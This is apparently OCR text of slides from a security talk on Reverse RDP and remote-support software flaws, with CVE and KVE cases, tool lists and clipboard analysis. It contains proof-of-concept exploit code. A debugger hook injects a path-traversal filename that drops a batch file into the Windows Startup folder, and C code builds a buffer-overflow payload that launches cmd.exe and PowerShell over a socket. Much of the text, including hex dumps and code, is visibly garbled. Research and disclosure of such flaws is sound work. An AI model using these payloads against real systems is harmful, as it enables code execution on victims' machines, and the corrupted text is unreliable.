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A remote code execution vulnerability exists in Remote Desktop Services 4&#8364;&#8220; formerly known as Terminal
Services 4&#8364;&#8220; when an unauthenticated attacker connects to the target system using RDP and sends specially
crafted requests, aka 'Remote Desktop ServicesA Remote Code Execution Vulnerability'. This CVE ID is unique from CVE-
2019-1181, CVE-2019-1182, CVE-2019-1226.

A remote code execution vulnerability exists in Remote Desktop Services 4&#8364;&#8220; formerly known as Terminal
Services 4&#8364;&#8220; when an unauthenticated attacker connects to the target system using RDP and sends specially
crafted requests, aka 'Remote Desktop ServicesA Remote Code Execution Vulnerability'. This CVE ID is unique from CVE-
2019-1181, CVE-2019-1222, CVE-2019-1226.

A remote code execution vulnerability exists in Remote Desktop Services 4&#8364;&#8220; formerly known as Terminal
Services 4&#8364;&#8220; when an unauthenticated attacker connects to the target system using RDP and sends specially
crafted requests, aka 'Remote Desktop ServicesA Remote Code Execution Vulnerability'. This CVE ID is unique from CVE-
2019-1182, CVE-2019-1222, CVE-2019-1226.

An information disclosure vulnerability exists when the Windows RDP client improperly discloses the contents of its memory,
aka 'Remote Desktop Protocol Client Information Disclosure Vulnerability'.

A remote code execution vulnerability exists in Remote Desktop Services formerly known as Terminal Services when an|
unauthenticated attacker connects to the target system using RDP and sends specially crafted requests, aka 'Remote
Desktop Services Remote Code Execution Vulnerability'.
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Path Traversal over the shared RDP clipboard

If we look back on the steps performed on the received clipboard data, we notice that the client doesn't verify the received Fgd

blob that came from the RDP server. And indeed, if we modify the server to include a path traversal path of the form:

.\canary1.txt, ClipSpy shows us (see Figure 9] that it was stored “as is” on the client’s clipboard:

ClipSpy
File Help

Format Data size
FileGroupDescriptorW 596 (0x254)

Preferred DropEffect 4 (0x4)

FileContents unava

pooooooo
00000008
pooooo10
00000018
pooooozo
noooooz2s
00000030
00000038

00000050
00000058
00000060

Ul U4
[(sC] 00
61 00 79 00 31 00
2E 00 78 00 74 00

Figure 9: Fgd with a path-traversal was stored on the client’s clipboard

https://research.checkpoint.com/2019/reverse-rdp-attack-code-execution-on-rdp-clients/
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- IDA Pro

- WinDBG / Immunity Debugger
- AlleyCat

- Lighthouse + DynamoRIO

- UPX

- Process Monitor

- Process Explorer

- Resource Hacker

- Detect-It-Easy

- COM Raider



Lighthouse + DynamoRIO
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. Reverse RDP
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- ActiveX
- URL Scheme

- Executable



ActiveX
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Support. All right reserved
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../../download/_cab/KoinoLoader.cab#version=2017,4,27,0" width="271" height="14" id="KoinoLoader">..</object



COMRaiderE AtEsliA method 2|AE 20l

M. ComRaider - O

IDEFENSE
7 Star

View
Y. COMRaider o @ =

COM Server |C:\Users\pflow\Desktop' LJ v Show only fuzzable

- AddServerFile A {Invoke_Unknown DownPathFix As String
& AllXML

& Charset

S DeleteLocalFile
&' DiskFreeSize
Y0Pt
& DownStyle

&' exceptionExt
& FileAttachViewM
S GetCurrentUploz
S GetDiskName
S GetDragFile




URL Scheme
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majg 0|2 == 4oy
shell
open
command
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"C¥UsersiWakworssourcewreposwConsoleApp1#

https://majg.tistory.com/21
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Case #01
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(KVE-2020-0386)
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Case #01
VNC AMH Q& &&=t
(KVE-2020-0367)
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$Recyde.Bin
SWinREAgent
Config.Msi

Documents and Settings
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Reverse RDP
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Case #01
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1. viewer?} agent0f| It CI2EE HHO| TS
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2. agent’ viewerO| ThAY / Ltd 37| / ot LIS S| HHE

3. viewer= agent?| &5 ntAPOZE CreateFileW APl =&

4. agent’t &5 It LIE S CreateFileW APIZ 4445t utlof] K&



100031DD
100031DE
100031E3
100031E5

100031E6
100031ES8
100031ED
100031EE

hTemplateFile
dwFlagsAndAttributes
dwCreationDisposition
lpSecurityAttributes
dwShareMode
dwDesiredAccess
1pFileName

agent’} &5t 20| L= A2
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# -*- coding: utf-8 -*-
import struct

from immlib import *

class ChangeFileNameHook(LogBpHook) :
def __init_ (self):
LogBpHook. init_ (self)

def run(self, regs):
imm = Debugger()

imm.log("Change Filename")

org_filename_len = imm.readlLong(regs['EAX'] - 4)
imm.log('requested filename_len = %d' % org_filename_len)

org_filename = imm.readMemory(regs['EAX'], org_filename_len * 2)
org_filename = org_filename.replace('\x00', '')
imm.log('requested filename = %s' % org_filename)

startup_path = '\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\t.bat"'

filename = '\\'.join(org_filename.split('\\')[:-1]) + "\\..' * 10 + startup_path
unicode_filename = '‘.join(map(lambda x: x + '\x@@', filename))

imm.writelLong(regs['EAX'] - 4, len(unicode_filename))
imm.writeMemory(regs['EAX'], unicode_filename)

def main(args):

imm = Debugger ()

my_hook = ChangeFileNameHook ()
my_hook.add("bp_on_send_filename", [address to send filename])

return ':)"'
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FileGroupDescriptor

FILEDESCRIPTORA structure (shlobj_core.h)

FILEGROUPDESCRIPTORA structure (shlobj_core S/P/eUIE & minutes o rese

Describes the properties of a file that is being copied by means of the clipboard during a Microsoft ActiveX drag-and-drop operation,

Syntax

DWORD

CLSID
cltems SIZEL
— POINTL pointl;
' DWORD  dwFil
The number of elements in
= FILETIME ftLast
FILETIME ftLasth
DWORD nFilesS
An array of FILEDESCRIPTOR structures that contain the file information. DWORD nFileSizelow;

CHAR cFileName[MAX_PATH];

} FILEDESCRIPTORA, *LPFILEDESCRIPTORA;

Type: FILEDESCRIPTOR([1]




ClipSpy
| File Help

Format Data size oooooooo
QooooOoOO0s

Qooo0no10
<Data unava | 00000018
Qooooozo
Qooo0nozs
Qoo00o30
Q0000038
Qooo0o40
Qooo0nD48
Q00o00O0sS0
Qoo0o0noss
Q0000060
Q0000068
Qoo0o0oz70
Qooono7s
Qooo0noso
pooooposs
Q0000090
00D0DoO0O98
Q0000ODAD
Q0000DAS
Q0000O0OBO
Q00000OBS
Qoooooco
QoooonocCs
Q0000O0DO
UUUUUUDS

cH HmHE 2 S0/

L g2 0e




Case #02
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agentZt &5t HI0|E{E socketol| A 210{2= &

se @x1Au
e;
ub 41E316(( t) » (int)&v3a, 4);

memset ( ( ) + Ox460, 9, ©x208u);
sub_41E310((int) , (int) + Ox460,| (int)v3d);
break;
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15300 bytes

filepath

15500 bytes




HIQHEZ

PBYTE pPos;

char* command = (char*)". WW..W#. WWWindowsWWSystem32WWcmd.exe";
DWORD dwPayloadLen = 15500 + strlen(command) + 1;

char* payload = (char *)malloc(dwPayloadLen + 6);

char* options = (char*)"/c powershell.exe -NoExit Echo KRCERT_ _BOF_RCE";
int idx;

payload[0] = 0x64;
payload[1] = Ox1A;
memcpy(payload + 2, &dwPayloadLen, 4);

pPos = (PBYTE)payload + 6;

// o Z2Tt X|T HEHE HO{AT| T 37| 2t
for (idx = 0; idx < 15300; idx++)
{
*pPos = 'A’;
pPos +=1;
}

// emd.exelfl HEE A3 SM
memcpy((char*)pPos, options, strlen(options) + 1);
pPos += strlen(options) + 1;

/7 o Z27t XS HTE FOIMT| AL M| Y
for (idx = 0; idx < 15500 - (15300 + strlen(options) + 1); idx++) {
*pPos = 'A";
pPos++;

// e H0l= BHO 2XE & payloaddi| F7tet

memcpy((char *)pPos, command, strlen(command) + 1);

// HHHQHEZQE SEdt= 24 00| & (RemoteFClientexe 2AHE HIHO| 2t F0{E)
((PFSEND)pFunc)(s, payload, dwPayloadLen + 6, flags);

/! E d¥stls 28 Al HSHHHER 20 2I3H commandOil XIHE =210 &
((PFSEND)pFunc)(s, "Wx64¥Wx30", 2, flags);
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- plinke PuTTYOM MS5t= EHE™ ==

- 20| AL} viewer / agent?} S4I I plinkE Ar&3HA B 'E dd
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&@ plink exe:3344 Properties

GPU Graph | Threads | TCP/IP ‘ Security ‘ Environment | Job ’ Strings
Image Performance ‘ Performance Graph ‘ Disk and Network

Image File
g Command-ine SSH, Telnet, and Rlogin dient

Version: 0.67.0.0

Build Time: Tue Mar 105:03:39 2016

Path:

C:WusersWpflowWAppData WRoaming ‘Explore

Command line:
plink.exe -C N -pw [0 LoEE - localhost: 1883:localhost:
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